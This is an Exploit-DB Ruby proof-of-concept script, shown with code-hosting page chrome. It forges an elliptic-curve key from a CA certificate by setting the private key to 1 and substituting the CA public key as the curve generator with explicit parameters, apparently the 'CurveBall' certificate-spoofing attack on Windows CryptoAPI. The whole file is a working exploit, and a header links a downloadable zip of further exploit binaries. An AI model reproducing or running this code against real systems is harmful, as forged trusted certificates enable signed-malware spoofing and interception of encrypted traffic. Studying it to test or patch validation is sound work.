23 lines
No EOL
624 B
Ruby
Executable file
23 lines
No EOL
624 B
Ruby
Executable file
# EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47933.zip
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require 'openssl'
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raw = File.read "ca.crt"
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ca_cert = OpenSSL::X509::Certificate.new(raw)
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# Parse public key from CA
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ca_key = ca_cert.public_key
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if !(ca_key.instance_of? OpenSSL::PKey::EC) then
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puts "CA NOT ECC"
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puts "Type: " + key.inspect
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exit
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end
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# Set new group with fake generator G = Q
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ca_key.private_key = 1
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group = ca_key.group
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group.set_generator(ca_key.public_key, group.order, group.cofactor)
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group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE
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ca_key.group = group
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puts ca_key.to_pem |